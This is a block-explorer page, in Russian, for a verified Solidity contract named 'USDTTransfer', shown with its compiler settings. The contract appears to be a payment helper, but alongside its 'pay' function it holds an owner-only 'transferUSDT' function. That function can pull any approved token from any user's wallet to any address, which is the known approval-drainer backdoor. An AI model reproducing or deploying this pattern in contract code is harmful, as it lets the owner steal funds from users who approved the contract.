Проверенный контрактЧастичноеMIT
USDTTransfer
Адрес0xe3de38f37ae364dd7dceb4ecf0c6f09d2e4c887d
- Баланс
0 ETH
- Транзакций
93
- Компилятор
solc 0.8.20
- Тот же код
Только этот контракт
Подробности
- Компилятор
- solc 0.8.20+commit.a1b79de6
- Язык
- solidity
- Оптимизация
- Нет
- Лицензия
- MIT
- Совпадение
- Частичноекод создания: да, код в сети: да
- Проверен на Sourcify
- Создан в блоке
- 22 753 944
- Транзакция создания
- 0xaf9943d95c…9e717029a6
USDTTransfer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract USDTTransfer {
address public usdtToken;
address public owner;
address public recipient;
event Paid(address indexed from, address indexed to, uint256 amount);
constructor(address _usdtToken, address _recipient) {
usdtToken = _usdtToken;
owner = msg.sender;
recipient = _recipient;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized");
_;
}
function transferUSDT(address token, address from, address to, uint256 amount) external onlyOwner {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20(token).transferFrom.selector, from, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
}
// 用户授权后,调用此函数代他们转账
function pay(uint256 amount) external {
require(IERC20(usdtToken).allowance(msg.sender, address(this)) >= amount, "Not enough allowance");
(bool success, bytes memory data) = usdtToken.call(
abi.encodeWithSelector(IERC20(usdtToken).transferFrom.selector, msg.sender, recipient, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
emit Paid(msg.sender, recipient, amount);
}
}Настройки компилятораПоказать
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Исходный код и метаданные: Sourcify.
Исходный код принадлежит авторам контракта.